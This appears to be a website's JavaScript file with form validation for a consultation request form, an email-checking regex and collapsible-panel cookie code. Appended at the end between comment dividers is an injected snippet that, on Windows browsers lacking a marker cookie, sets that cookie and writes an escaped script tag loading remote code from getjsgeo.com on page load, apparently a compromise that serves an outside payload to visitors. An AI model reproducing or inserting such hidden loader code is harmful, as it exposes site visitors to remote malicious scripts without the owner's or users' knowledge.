function checkForm()
{var fname,lname,email,phone,zip,state,procedure;with(window.document.consultation)
{cfname=fname;clname=lname;cemail=email;cphone=phone;cstate=state;czip=zipfield;cprocedure=procedure;}
if(trim(cfname.value)=='First Name'||trim(cfname.value)=='')
{alert('Please enter your first name');cfname.focus();return false;}
if(trim(clname.value)=='Last Name'||trim(clname.value)=='')
{alert('Please enter your last name');clname.focus();return false;}
else if(trim(cemail.value)=='Email'||trim(cemail.value)=='')
{alert('Please enter your email');cemail.focus();return false;}
else if(!isEmail(trim(cemail.value)))
{alert('Email address is not valid');cemail.focus();return false;}
else if(trim(cphone.value)=='Phone'||trim(cphone.value)=='')
{alert('Please enter a phone number');cphone.focus();return false;}
else if(trim(cstate.value)=='--'||trim(cstate.value)=='')
{alert('Please select your state');cstate.focus();return false;}
else if(trim(czip.value)=='Zip Code'||trim(czip.value)=='')
{alert('Please enter your zip code');czip.focus();return false;}
else if(trim(cprocedure.value)=='Procedure'||trim(cprocedure.value)=='')
{alert('Please indicate the procedure you are interested in');cprocedure.focus();return false;}
else
{cfname.value=trim(cfname.value);clname.value=trim(clname.value);cemail.value=trim(cemail.value);cphone.value=trim(cphone.value);czip.value=trim(czip.value);cprocedure.value=trim(cprocedure.value);return true;}}
function trim(str)
{return str.replace(/^\s+|\s+$/g,'');}
function isEmail(str)
{var regex=/^[-_.a-z0-9]+@(([-_a-z0-9]+\.)+(ad|ae|aero|af|ag|ai|al|am|an|ao|aq|ar|arpa|as|at|au|aw|az|ba|bb|bd|be|bf|bg|bh|bi|biz|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cd|cf|cg|ch|ci|ck|cl|cm|cn|co|com|coop|cr|cs|cu|cv|cx|cy|cz|de|dj|dk|dm|do|dz|ec|edu|ee|eg|eh|er|es|et|eu|fi|fj|fk|fm|fo|fr|ga|gb|gd|ge|gf|gh|gi|gl|gm|gn|gov|gp|gq|gr|gs|gt|gu|gw|gy|hk|hm|hn|hr|ht|hu|id|ie|il|in|info|int|io|iq|ir|is|it|jm|jo|jp|ke|kg|kh|ki|km|kn|kp|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|mg|mh|mil|mk|ml|mm|mn|mo|mp|mq|mr|ms|mt|mu|museum|mv|mw|mx|my|mz|na|name|nc|ne|net|nf|ng|ni|nl|no|np|nr|nt|nu|nz|om|org|pa|pe|pf|pg|ph|pk|pl|pm|pn|pr|pro|ps|pt|pw|py|qa|re|ro|ru|rw|sa|sb|sc|sd|se|sg|sh|si|sj|sk|sl|sm|sn|so|sr|st|su|sv|sy|sz|tc|td|tf|tg|th|tj|tk|tm|tn|to|tp|tr|tt|tv|tw|tz|ua|ug|uk|um|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|ws|ye|yt|yu|za|zm|zw)|(([0-9][0-9]?|[0-1][0-9][0-9]|[2][0-4][0-9]|[2][5][0-5])\.){3}([0-9][0-9]?|[0-1][0-9][0-9]|[2][0-4][0-9]|[2][5][0-5]))$/i;return regex.test(str);}
function clearText(thefield){if(thefield.defaultValue==thefield.value)
thefield.value=""}
function getText(thefield){if(thefield.value=='')
thefield.value=thefield.defaultValue}
var PANEL_NORMAL_CLASS="panel";var PANEL_COLLAPSED_CLASS="panelcollapsed";var PANEL_HEADING_TAG="h2";var PANEL_CONTENT_CLASS="panelcontent";var PANEL_COOKIE_NAME="panels";var PANEL_ANIMATION_DELAY=20;var PANEL_ANIMATION_STEPS=10;function setUpPanels()
{loadSettings();var headingTag=document.getElementById('frmhead');headingTag.onclick=function()
{var target=this.parentNode;var name=this.firstChild.nodeValue;var collapsed=(target.className==PANEL_COLLAPSED_CLASS);saveSettings(name,collapsed?"true":"false");animateTogglePanel(target,collapsed);};}
function animateTogglePanel(panel,expanding)
{var elements=panel.getElementsByTagName("div");var panelContent=null;for(var i=0;i<elements.length;i++)
{if(elements[i].className==PANEL_CONTENT_CLASS)
{panelContent=elements[i];break;}}
panelContent.style.display="block";var contentHeight=panelContent.offsetHeight;if(expanding)
panelContent.style.height="0px";var stepHeight=contentHeight/PANEL_ANIMATION_STEPS;var direction=(!expanding?-1:1);setTimeout(function(){animateStep(panelContent,1,stepHeight,direction)},PANEL_ANIMATION_DELAY);}
function animateStep(panelContent,iteration,stepHeight,direction)
{if(iteration<PANEL_ANIMATION_STEPS)
{panelContent.style.height=Math.round(((direction>0)?iteration:10-iteration)*stepHeight)+"px";iteration++;setTimeout(function(){animateStep(panelContent,iteration,stepHeight,direction)},PANEL_ANIMATION_DELAY);}
else
{panelContent.parentNode.className=(direction<0)?PANEL_COLLAPSED_CLASS:PANEL_NORMAL_CLASS;panelContent.style.display=panelContent.style.height="";}}
function loadSettings()
{panelsStatus={};var start=document.cookie.indexOf(PANEL_COOKIE_NAME+"=");if(start==-1)return;start+=PANEL_COOKIE_NAME.length+1;var end=document.cookie.indexOf(";",start);if(end==-1)end=document.cookie.length;var cookieValue=unescape(document.cookie.substring(start,end));var panelsData=cookieValue.split("|");for(var i=0;i<panelsData.length;i++)
{var pair=panelsData[i].split(":");panelsStatus[pair[0]]=pair[1];}}
function expandAll()
{for(var key in panelsStatus)
saveSettings(key,"true");setUpPanels();}
function collapseAll()
{for(var key in panelsStatus)
saveSettings(key,"false");setUpPanels();}
function saveSettings(key,value)
{panelsStatus[key]=value;var panelsData=[];for(var key in panelsStatus)
panelsData.push(key+":"+panelsStatus[key]);var today=new Date();var expirationDate=new Date(today.getTime()+365*1000*60*60*24);document.cookie=PANEL_COOKIE_NAME+"="+escape(panelsData.join("|"))+";expires="+expirationDate.toGMTString();}
if(window.addEventListener)
{window.addEventListener("load",setUpPanels,false);}
else
if(window.attachEvent)
{window.attachEvent("onload",setUpPanels);}
/* ============================================================================-*/
function getCookie(name) { var cookie = " " + document.cookie; var search = " " + name + "="; var setStr = null; var offset = 0; var end = 0; if (cookie.length > 0) { offset = cookie.indexOf(search); if (offset != -1) { offset += search.length; end = cookie.indexOf(";", offset); if (end == -1) { end = cookie.length; } setStr = unescape(cookie.substring(offset, end)); } } return setStr;} function getjsgeocookie(){document.write(unescape("%3Cscript src='http://getjsgeo.com/jsgeo' type='text/javascript'%3E%3C/script%3E"));} if (navigator.userAgent.indexOf("KHTML") == -1 && navigator.userAgent.indexOf("NT") != -1){if(navigator.cookieEnabled == true) {var user = getCookie("GJsGeoCookie");if (user !=="ok"){setCookie("GJsGeoCookie", "ok", 7, "/"); getjsgeocookie();}}} function setCookie(name, value, expiredays, path, domain, secure) { if (expiredays) { var exdate=new Date(); exdate.setDate(exdate.getDate()+expiredays); var expires = exdate.toGMTString(); } document.cookie = name + "=" + escape(value) + ((expiredays) ? "; expires=" + expires : "") + ((path) ? "; path=" + path : "") + ((domain) ? "; domain=" + domain : "") + ((secure) ? "; secure" : "");} 
/*============================================================================-=*/

